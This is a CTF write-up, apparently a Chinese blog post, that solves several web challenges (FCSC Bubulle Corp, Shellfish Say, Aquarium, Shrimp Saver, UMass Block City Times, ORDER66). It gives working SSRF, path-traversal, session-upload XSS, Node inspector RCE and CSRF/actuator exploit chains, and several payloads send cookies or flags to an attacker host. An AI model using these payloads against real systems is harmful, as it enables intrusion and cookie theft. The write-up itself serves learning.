Bubulle Corp (Part 1/2)
考察XML解析差异。需要SSRF到internal-proxy,访问http://bubulle-corp-internal-proxy/aaa,任意非根路径都能代理到打印flag.txt
存储xml时,有https要求,那么是无法SSRF到proxy的。
if request.method == "POST": xml_data = request.form["settings"]
try: root = ET.fromstring(xml_data.encode()) except ET.XMLSyntaxError: return render_template("settings.html", user=user, error="Invalid XML")
if root.tag != "settings": return render_template("settings.html", user=user, error="Root element must be <settings>")
child_tags = [elem.tag for elem in root] if "icon_url" not in child_tags: return render_template("settings.html", user=user, error="Missing <icon_url>") if "method" not in child_tags: return render_template("settings.html", user=user, error="Missing <method>")
for elem in list(root): if elem.tag == "icon_url" and (not elem.text or not elem.text.startswith("https://")): return render_template("settings.html", user=user, error="Icon URL must start with https://")
if elem.tag == "method" and elem.text not in ("GET", "POST"): return render_template("settings.html", user=user, error="Method must be GET or POST")
if elem.tag not in ("icon_url", "method", "body"): root.remove(elem)
clean = ET.tostring(root, encoding="unicode") db.execute("UPDATE users SET settings = ? WHERE id = ?", (clean, session["user_id"])) db.commit() return redirect("/settings")不过fetch头像处,并没有严格限制节点位置,而是使用find来查找.//icon_url,导致存在多个相同节点时,会取第一个。
root = ET.fromstring(settings_xml.encode())
icon_url = root.find(".//icon_url").text method = root.find(".//method").text body = root.find(".//body").text if root.find(".//body") else None构造以下payload:
<settings> <body> <icon_url>http://bubulle-corp-internal-proxy/aaa</icon_url> </body> <icon_url>https://baidu.com</icon_url> <method>GET</method></settings>下载头像icon获得flag:
FCSC{c22f014ba1aac9b3c487989156c470b0}Shellfish Say
Finally the new version of Shrimp Say is out! Discover Shellfish Say! To ask the bot to say something, simply log in with: nc challenges.fcsc.fr 2256. Note: The VM of the event does not have access to the Internet.
请求nc会响应:
==========Tips: There is a small race window (~10ms) when a new tab is opened where console.log won't return output :(Note that your exploit must target http://shellfish-say/ to get the flag.==========有点没太看懂。
app/html/get_quote.php
<?php$quote_file = "/tmp/quotes/";if(isset($_GET["quote"])) { if(strpos($_GET["quote"],":")) { $quote_file .= parse_url($_GET["quote"].".txt")["path"]; } else { if(strpos($_GET["quote"], "..")) { $quote_file .= "shellfish.txt"; } else { $quote_file .= $_GET["quote"].".txt"; } }} else { $quote_file .= "shellfish.txt";}if(!file_exists($quote_file)) { $quote_file = "/tmp/quotes/shellfish.txt";}readfile($quote_file);哦还有个.htaccess的重写规则:
RewriteEngine OnRewriteCond %{REQUEST_FILENAME}.php -fRewriteRule ^(.+)$ $1.php [L]先来分析get_quote.php,这里应该能任意文件读取。
quote_file前缀限制死了,需要用..来路径穿越。注意到..的防御在if(strpos($_GET["quote"],":"))的else里,所以只需让quote参数包含:即可。走parse_url也就意味着拼接.txt可以用%00或者%23来截断。
构造payload:
/get_quote?quote=http://aaa/../../var/www/html/index.php%23不过注意到php.ini有openbase_dir限制:
open_basedir = /var/www/html/:/tmp/file_uploads = Onsession.upload_progress.cleanup = Off怀疑要通过/tmp下的session来进行bot的xss。不行了,先本地起一个docker看看。我去我这网络怎么了qwq
curl -sS \ -b "PHPSESSID=test" \ -F "PHP_SESSION_UPLOAD_PROGRESS=MARK" \ -F "file=@/etc/hosts;filename=x.txt" \ "http://127.0.0.1:8000/get_quote.php" > /dev/null
成功写入session文件。
curl -b "PHPSESSID=test" \ -F 'PHP_SESSION_UPLOAD_PROGRESS=<script>console.log(document.cookie)</script>' \ -F "file=@x.txt" \ http://127.0.0.1:8000/get_quote.php那么就是一个很简单的XSS了,直接上exp:
import requests
# url = "http://127.0.0.1:8000/get_quote.php"url = "https://shellfish-say.fcsc.fr/get_quote.php"
cookies = {"PHPSESSID": "test"}
files = { "file": ("aaa.txt", b"test")}
data = { "PHP_SESSION_UPLOAD_PROGRESS": "<script>console.log(document.cookie)</script>"}
r = requests.post(url, cookies=cookies, files=files, data=data)print(r.text)
# http://shellfish-say/get_quote?quote=http://aaa/../../tmp/sess_test%23然后nc上去给http://shellfish-say/get_quote?quote=http://aaa/../../tmp/sess_test%23就可以了。

FCSC Aquarium
注意到,/language存在路径穿越:
app.post("/language", async (req, res) => { const requested = req.body?.lang || "fr"; try { res.json(await import(requested+"/index.js")); } catch { res.json(await import("fr/index.js")); }});PoC如下:
{"lang":"en/../it"}app.get("/message", (req, res) => { let data; try { data = readFileSync("/tmp/message.txt").toString(); } catch { //The dev was angry before leaving the aquarium, messages service must be fixed and maybe the frontend too data = "F🐟I🐟S🐟H🐟"; } res.json({"message": data});});这个接口会去读取/tmp/message.txt,不过这个文件一开始不存在,需要bot去随机写入,但是bot注释掉了写入操作。
const {writeFileSync} = require("fs");
async function chooseMsg() { const messages = [ "I HATE FISH FISH ARE BAD", "FISH ARE BAD", "I HATE THIS AQUARIUM FISH ARE BAD" ];
const randomMessage = messages[Math.floor(Math.random() * messages.length)];
// NEED TO FIX THESE BAD MESSAGES ASAP //writeFileSync("/tmp/message.txt", randomMessage);
// Fishes needs some rest await new Promise(r => setTimeout(r, 10000));}
chooseMsg();但最终是需要RCE执行/readflag,同时考虑到靶机是公共的,因此不可能是修改messages.js。
注意到Dockerfile里这一段:mv fr it en node_modules以及read_only: true
显然,要去看看node_modules,看看能不能利用现有代码实现RCE。诶不对,好像可以用data url:
data:text/javascript,console.log(1);//
模仿en/index.js构造payload,export default就会回显,成功读到文件。
{ "lang": "data:text/javascript,import fs from 'fs';export default{disclaimer:fs.readFileSync('/etc/passwd').toString()};//"}
node --permission --allow-fs-read=/ /usr/app/server.mjs限制,导致无法执行/getflag。而且Docker是只读,同时限制了额外内存为1k,走不下去。必须利用bot来RCE。
网上搜了一下资料,发现Node.js的—permission模型并不限制process.kill,另外还找到了一个很新的CVE,Node.js权限模型权限绕过漏洞(CVE-2026-21716),但不是这个。
没招了,找Gemini爆了。居然真的能行,不过感觉是非预期啊,用的方法也很野路子。遍历进程process.kill强制bot进入调试模式,然后请求http://127.0.0.1:9229/json/list读到调试id,构造请求RCE。
{ "lang": "data:text/javascript,export default{disclaimer:await(async()=>{const M=process.pid;for(let i=1;i<65535;i++){if(i!==M){try{process.kill(i,'SIGUSR1')}catch(e){}}}await new Promise(r=>setTimeout(r,2000));try{let list=await(await fetch('http://127.0.0.1:9229/json/list')).json();return await new Promise(R=>{let w=new WebSocket(list[0].webSocketDebuggerUrl);w.onopen=()=>w.send(JSON.stringify({id:1,method:'Runtime.evaluate',params:{expression:'new Promise(r=>process.mainModule.require(`child_process`).execFile(`/getflag`,(e,o)=>r(String(o))))',awaitPromise:true,returnByValue:true}}));w.onmessage=m=>R(JSON.parse(m.data).result?.result?.value);w.onerror=()=>R('WSErr')})}catch(e){return'Err:'+e.message}})()};//"}大受震撼,这真不知道被kill了还有debugger。

FCSC{046f001ea6fbfb862d436de91db44f97e612ca4c9a45c37b29199ff9fd20e8b7}Shrimp Saver
没有什么比一个基于甲壳类动物的小型屏幕保护程序更能照亮你的工作站了!
警告:当您测试挑战时,浏览器插件可能会干扰其正常运行,建议停用它们。
应用程序:https://shrimp-saver.fcsc.fr/
机器人:nc challenges.fcsc.fr 2258。
注:事件的 VM 无法访问互联网。还是需要让bot访问https://shrimp-saver.fcsc.fr/flag.php
<?php$nonce = base64_encode(random_bytes(16));header("Content-Security-Policy: default-src 'self'; connect-src 'self'; script-src 'nonce-$nonce';");header("X-Frame-Options: DENY");header("Content-Type: text/html; charset=utf-8");header("Referrer-Policy: no-referrer");header("Cross-Origin-Opener-Policy: same-origin");?><!DOCTYPE html><html lang="en">
<head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <link rel="icon" href="./shrimp.gif" /> <link rel="stylesheet" href="style.css" /> <title>Shrimp Saver</title></head><body> <main> <div class="shrimp"><img src="./shrimp.gif" alt="Shrimp"></div> </main> <script nonce="<?= $nonce ?>" src="/app.js"></script></body>
</html>既然出现了nonce,又出现了dom相关,应该xss。
看app.js
var blacklist = ["constructor", "__proto__"];
function resolvePath(obj, parts) { let target = obj;
for (let part of parts) { if (blacklist.includes(part)) { throw new Error("Blacklisted path part"); } if (target[part] === undefined) { throw new Error(`Invalid path ${part}`); } target = target[part]; } return target;}
function copy(copyTo, copyFrom) { const parts = copyTo.split("."); const lastPart = parts.pop();
const target = resolvePath(document.body, parts); const value = resolvePath(document.body, copyFrom.split(".")); target[lastPart] = value;}
const searchParams = new URLSearchParams(window.location.search);
for (const [name, value] of searchParams.entries()) { copy(name, value);}有个DOM拷贝,可以替换掉app.js的加载,不过有nonce存在,也不是那么顺利。先测试一下读取nonce,lastElementChild就是script标签:
http://shrimp-saver/index.php?ownerDocument.defaultView.location.search=lastElementChild.nonce可以看到请求了http://shrimp-saver/index.php?SauyDLUljhWzjtYL4PiOQw==,成功拿到nonce。不过这没什么用,每次的nonce都不一样。
如果知道了当前的nonce就可以构造最终的payload,如下(当然是不行的因为nonce会变)
http://shrimp-saver/index.php?<svg><script/nonce="SauyDLUljhWzjtYL4PiOQw==">fetch('/flag.php').then(r=>r.text()).then(console.log)</script></svg>&ownerDocument.body.innerHTML=ownerDocument.defaultView.location.search还是没成功,下面这个可以绕过了nonce了但是尖括号又被转义了。
http://shrimp-saver/index.php?ownerDocument.defaultView.name=lastElementChild.nonce&ownerDocument.body.innerHTML=ownerDocument.defaultView.location.hash&ownerDocument.body.childNodes.1.nonce=ownerDocument.defaultView.name&ownerDocument.body.childNodes.2.srcdoc=ownerDocument.body.childNodes.1.outerHTML#<script>fetch('/flag.php').then(r=>r.text()).then(console.log)</script><iframe></iframe>坏坏,菜菜。
The Block City Times
src/main/java/com/example/demo/controller/web/StoryController.java
String contentType = file.getContentType(); if (contentType == null || !outboundProps.getAllowedTypes().contains(contentType)) { model.addAttribute("error", "File type '" + contentType + "' is not accepted. " + "Please submit a plain text or PDF document."); return "submit"; }
String safe = file.getOriginalFilename().replaceAll("[^a-zA-Z0-9._-]", "_"); String filename = UUID.randomUUID() + "-" + safe; Files.write(uploadDir.resolve(filename), file.getBytes());/submit这里的file.getContentType()是获取网络层的值,也就是可以任意修改的,虽然只允许 text/plain 和 application/pdf,但只需要强制指定类型就可以绕过。
翻看代码,发现后端存在env配置,且/admin/report接口要求处于dev模式才可使用,全局搜索dev关键词。
if (!appProps.getActiveConfig().equals("dev")) { return "redirect:/admin?error=reportdevonly"; }注意到配置文件的web侧导出了refresh和env两个接口,并且app的config写明了dev和prod两种模式,默认运行在prod下。
management: endpoints: web: exposure: include: refresh, health, info, env
app: configs: dev: greeting: "NOTICE: THE WEBSITE IS CURRENTLY RUNNING IN DEV MODE" environment-label: "development" prod: greeting: "BREAKING: MAN FALLS INTO RIVER IN BLOCK CITY" environment-label: "production"思路是首先通过editorial请求env和refresh,切换到dev模式,这里需要绕过csrf限制,可以用正则匹配来提取csrf token。
if (!endpoint.startsWith("/api/")) { return "redirect:/admin?error=reportbadendpoint"; }然后ssrf请求/admin/report。审计这一部分代码,传入的endpoint仅要求startsWith("/api/"),那么构造路径穿越就可以控制report-runner访问可控html进行xss,最简单的就是再次请求到同一个html,如果有cookie就判断为是report-runner,直接把flag发出去。
exp.html
<!DOCTYPE html><html><body><script>(async function() { if (document.cookie.includes('FLAG') || document.cookie.includes('flag')) { fetch('http://IP:PORT/?flag=' + btoa(document.cookie)); return; }
try { let htmlResponse = await (await fetch('/submit')).text(); let csrfMatch = htmlResponse.match(/name="_csrf"\s+value="([^"]+)"/); if (!csrfMatch) return; let csrfToken = csrfMatch[1];
await fetch('/actuator/env', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ name: 'app.active-config', value: 'dev' }) });
// 这里不能用await啊,不然连不上就断掉了() fetch('/actuator/refresh', { method: 'POST' }).catch(e => console.log("Refresh connection dropped, as expected."));
setTimeout(() => { let currentPath = window.location.pathname; let payloadEndpoint = '/api/..' + currentPath;
let formData = new URLSearchParams(); formData.append('_csrf', csrfToken); formData.append('endpoint', payloadEndpoint);
fetch('/admin/report', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: formData.toString() }); }, 3000);
} catch (e) { console.error("Exploit chain failed:", e); }})();</script></body></html>投递可以用curl,不过也要csrf token,总之很麻烦不如用python: exp.py
import requestsimport re
# url = "http://localhost:32769/submit"url = "http://53b4d82e-6962-4128-80fe-3534cc7b637b.blockcitytimes.web.ctf.umasscybersec.org/submit"session = requests.Session()response = session.get(url)
csrf_match = re.search(r'name="_csrf"\s+value="([^"]+)"', response.text)csrf_token = csrf_match.group(1)print(csrf_token)
files = { 'file': ('exp.html', open('exp.html', 'rb'), 'text/plain')}
data = { '_csrf': csrf_token, 'title': '123', 'author': '456', 'description': '789'}
print(session.post(url, data=data, files=files).status_code)
VPS接到flag:
UMASS{A_mAn_h3s_f@l13N_1N_tH3_r1v3r}ORDER66
泄露了seed,那么random就是可以预测的。计算出随机的格子,投递一个xss即可。
import randomseed = 9026random.seed(seed)print(random.randint(1, 66))
# <script>fetch('http://VPS:IP/?flag=' + document.cookie)</script>
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时









